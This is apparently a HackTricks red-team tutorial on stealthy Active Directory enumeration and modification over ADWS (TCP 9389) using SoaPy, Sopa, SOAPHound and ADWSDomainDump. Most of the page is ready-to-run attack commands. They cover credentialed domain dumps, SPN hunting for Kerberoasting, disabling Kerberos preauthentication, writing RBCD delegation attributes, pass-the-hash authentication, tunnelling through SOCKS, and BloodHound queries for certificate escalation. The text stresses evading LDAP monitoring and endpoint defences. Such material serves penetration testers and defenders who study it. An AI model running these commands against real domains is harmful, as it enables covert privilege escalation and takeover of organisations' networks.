Active Directory Web Services (ADWS) Enumeration & Stealth Collection
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
What is ADWS?
Active Directory Web Services (ADWS) is enabled by default on every Domain Controller since Windows Server 2008 R2 and listens on TCP 9389. Despite the name, no HTTP is involved. Instead, the service exposes LDAP-style data through a stack of proprietary .NET framing protocols:
- MC-NBFX β MC-NBFSE β MS-NNS β MC-NMF
Because the traffic is encapsulated inside these binary SOAP frames and travels over an uncommon port, enumeration through ADWS is far less likely to be inspected, filtered or signatured than classic LDAP/389 & 636 traffic. For operators this means:
- Stealthier recon β Blue teams often concentrate on LDAP queries.
- Freedom to collect from non-Windows hosts (Linux, macOS) by tunnelling 9389/TCP through a SOCKS proxy.
- The same data you would obtain via LDAP (users, groups, ACLs, schema, etc.) and the ability to perform writes (e.g.
msDs-AllowedToActOnBehalfOfOtherIdentityfor RBCD).
ADWS interactions are implemented over WS-Enumeration: every query starts with an Enumerate message that defines the LDAP filter/attributes and returns an EnumerationContext GUID, followed by one or more Pull messages that stream up to the server-defined result window. Contexts age out after ~30 minutes, so tooling either needs to page results or split filters (prefix queries per CN) to avoid losing state. When asking for security descriptors, specify the LDAP_SERVER_SD_FLAGS_OID control to omit SACLs, otherwise ADWS simply drops the nTSecurityDescriptor attribute from its SOAP response.
NOTE: ADWS is also used by many RSAT GUI/PowerShell tools, so traffic may blend with legitimate admin activity.
SoaPy β Native Python Client
SoaPy is a full re-implementation of the ADWS protocol stack in pure Python. It crafts the NBFX/NBFSE/NNS/NMF frames byte-for-byte, allowing collection from Unix-like systems without touching the .NET runtime.
Key Features
- Supports proxying through SOCKS (useful from C2 implants).
- Fine-grained search filters identical to LDAP
-q '(objectClass=user)'. - Optional write operations (
--set/--delete). - BOFHound output mode for direct ingestion into BloodHound.
--parseflag to prettify timestamps /userAccountControlwhen human readability is required.
Targeted collection flags & write operations
SoaPy ships with curated switches that replicate the most common LDAP hunting tasks over ADWS: --users, --computers, --groups, --spns, --asreproastable, --admins, --constrained, --unconstrained, --rbcds, plus raw --query / --filter knobs for custom pulls. Pair those with write primitives such as --rbcd <source> (sets msDs-AllowedToActOnBehalfOfOtherIdentity), --spn <service/cn> (SPN staging for targeted Kerberoasting) and --asrep (flip DONT_REQ_PREAUTH in userAccountControl).
Example targeted SPN hunt that only returns samAccountName and servicePrincipalName:
soapy corp.local/alice:'Winter2025!'@dc01.corp.local \
--spns -f samAccountName,servicePrincipalName --parse
Use the same host/credentials to immediately weaponise findings: dump RBCD-capable objects with --rbcds, then apply --rbcd 'WEBSRV01$' --account 'FILE01$' to stage a Resource-Based Constrained Delegation chain (see Resource-Based Constrained Delegation for the full abuse path).
Installation (operator host)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
ADWSDomainDump β LDAPDomainDump over ADWS (Linux/Windows)
- Fork of
ldapdomaindumpthat swaps LDAP queries for ADWS calls on TCP/9389 to reduce LDAP-signature hits. - Performs an initial reachability check to 9389 unless
--forceis passed (skips the probe if port scans are noisy/filtered). - Tested against Microsoft Defender for Endpoint and CrowdStrike Falcon with successful bypass in the README.
Installation
pipx install .
Usage
adwsdomaindump -u 'thewoods.local\mathijs.verschuuren' -p 'password' -n 10.10.10.1 dc01.thewoods.local
Typical output logs the 9389 reachability check, ADWS bind, and dump start/finish:
[*] Connecting to ADWS host...
[+] ADWS port 9389 is reachable
[*] Binding to ADWS host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
Sopa - A practical client for ADWS in Golang
Similarly as soapy, sopa implements the ADWS protocol stack (MS-NNS + MC-NMF + SOAP) in Golang, exposing command-line flags to issue ADWS calls such as:
- Object search & retrieval -
query/get - Object lifecycle -
create [user|computer|group|ou|container|custom]anddelete - Attribute editing -
attr [add|replace|delete] - Account management -
set-password/change-password - and others such as
groups,members,optfeature,info [version|domain|forest|dcs], etc.
Protocol mapping highlights
- LDAP-style searches are issued via WS-Enumeration (
Enumerate+Pull) with attribute projection, scope control (Base/OneLevel/Subtree) and pagination. - Single-object fetch uses WS-Transfer
Get; attribute changes usePut; deletions useDelete. - Built-in object creation uses WS-Transfer ResourceFactory; custom objects use an IMDA AddRequest driven by YAML templates.
- Password operations are MS-ADCAP actions (
SetPassword,ChangePassword).
Unauthenticated metadata discovery (mex)
ADWS exposes WS-MetadataExchange without credentials, which is a quick way to validate exposure before authenticating:
sopa mex --dc <DC>
DNS/DC discovery & Kerberos targeting notes
Sopa can resolve DCs via SRV if --dc is omitted and --domain is provided. It queries in this order and uses the highest-priority target:
_ldap._tcp.<domain>
_kerberos._tcp.<domain>
Operationally, prefer a DC-controlled resolver to avoid failures in segmented environments:
- Use
--dns <DC-IP>so all SRV/PTR/forward lookups go through the DC DNS. - Use
--dns-tcpwhen UDP is blocked or SRV answers are large. - If Kerberos is enabled and
--dcis an IP, sopa performs a reverse PTR to obtain an FQDN for correct SPN/KDC targeting. If Kerberos is not used, no PTR lookup happens.
Example (IP + Kerberos, forced DNS via the DC):
sopa info version --dc 192.168.1.10 --dns 192.168.1.10 -k --domain corp.local -u user -p pass
Auth material options
Besides plaintext passwords, sopa supports NT hashes, Kerberos AES keys, ccache, and PKINIT certificates (PFX or PEM) for ADWS auth. Kerberos is implied when using --aes-key, -c (ccache) or certificate-based options.
# NT hash
sopa --dc <DC> -d <DOMAIN> -u <USER> -H <NT_HASH> query --filter '(objectClass=user)'
# Kerberos ccache
sopa --dc <DC> -d <DOMAIN> -u <USER> -c <CCACHE> info domain
Custom object creation via templates
For arbitrary object classes, the create custom command consumes a YAML template that maps to an IMDA AddRequest:
parentDNandrdndefine the container and relative DN.attributes[].namesupportscnor namespacedaddata:cn.attributes[].typeacceptsstring|int|bool|base64|hexor explicitxsd:*.- Do not include
ad:relativeDistinguishedNameorad:container-hierarchy-parent; sopa injects them. hexvalues are converted toxsd:base64Binary; usevalue: ""to set empty strings.
SOAPHound β High-Volume ADWS Collection (Windows)
FalconForce SOAPHound is a .NET collector that keeps all LDAP interactions inside ADWS and emits BloodHound v4-compatible JSON. It builds a complete cache of objectSid, objectGUID, distinguishedName and objectClass once (--buildcache), then re-uses it for high-volume --bhdump, --certdump (ADCS), or --dnsdump (AD-integrated DNS) passes so only ~35 critical attributes ever leave the DC. AutoSplit (--autosplit --threshold <N>) automatically shards queries by CN prefix to stay under the 30-minute EnumerationContext timeout in large forests.
Typical workflow on a domain-joined operator VM:
# Build cache (JSON map of every object SID/GUID)
SOAPHound.exe --buildcache -c C:\temp\corp-cache.json
# BloodHound collection in autosplit mode, skipping LAPS noise
SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \
--autosplit --threshold 1200 --nolaps \
-o C:\temp\BH-output
# ADCS & DNS enrichment for ESC chains
SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output
SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot
Exported JSON slots directly into SharpHound/BloodHound workflowsβsee BloodHound methodology for downstream graphing ideas. AutoSplit makes SOAPHound resilient on multi-million object forests while keeping the query count lower than ADExplorer-style snapshots.
Stealth AD Collection Workflow
The following workflow shows how to enumerate domain & ADCS objects over ADWS, convert them to BloodHound JSON and hunt for certificate-based attack paths β all from Linux:
-
Tunnel 9389/TCP from the target network to your box (e.g. via Chisel, Meterpreter, SSH dynamic port-forward, etc.). Export
export HTTPS_PROXY=socks5://127.0.0.1:1080or use SoaPyβs--proxyHost/--proxyPort. -
Collect the root domain object:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Collect ADCS-related objects from the Configuration NC:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- Convert to BloodHound:
bofhound -i data --zip # produces BloodHound.zip
- Upload the ZIP in the BloodHound GUI and run cypher queries such as
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,cto reveal certificate escalation paths (ESC1, ESC8, etc.).
Writing msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
Combine this with s4u2proxy/Rubeus /getticket for a full Resource-Based Constrained Delegation chain (see Resource-Based Constrained Delegation).
Tooling Summary
| Purpose | Tool | Notes |
|---|---|---|
| ADWS enumeration | SoaPy | Python, SOCKS, read/write |
| High-volume ADWS dump | SOAPHound | .NET, cache-first, BH/ADCS/DNS modes |
| BloodHound ingest | BOFHound | Converts SoaPy/ldapsearch logs |
| Cert compromise | Certipy | Can be proxied through same SOCKS |
| ADWS enumeration & object changes | sopa | Generic client to interface with known ADWS endpoints - allows for enumeration, object creation, attribute modifications, and password changes |
References
- SpecterOps β Make Sure to Use SOAP(y) β An Operators Guide to Stealthy AD Collection Using ADWS
- SoaPy GitHub
- BOFHound GitHub
- ADWSDomainDump GitHub
- Sopa GitHub
- Microsoft β MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications
- IBM X-Force Red β Stealthy Enumeration of Active Directory Environments Through ADWS
- FalconForce β SOAPHound tool to collect Active Directory data via ADWS
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


